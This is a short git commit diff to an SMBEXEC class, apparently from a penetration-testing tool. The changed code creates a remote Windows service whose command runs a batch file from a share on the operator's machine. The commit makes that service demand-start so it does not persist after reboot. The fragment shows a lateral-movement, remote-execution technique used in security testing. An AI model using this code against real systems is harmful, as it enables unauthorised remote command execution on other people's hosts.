Don't make service auto-start (disable reboot persistance)
parent
b9aff9579c
commit
527b58d05c
|
@ -89,8 +89,8 @@ class SMBEXEC:
|
|||
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
|
||||
logging.debug('Command to execute: ' + command)
|
||||
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
logging.debug('Remote service {} created.'.format(self.__serviceName))
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
|
|
Loading…
Reference in New Issue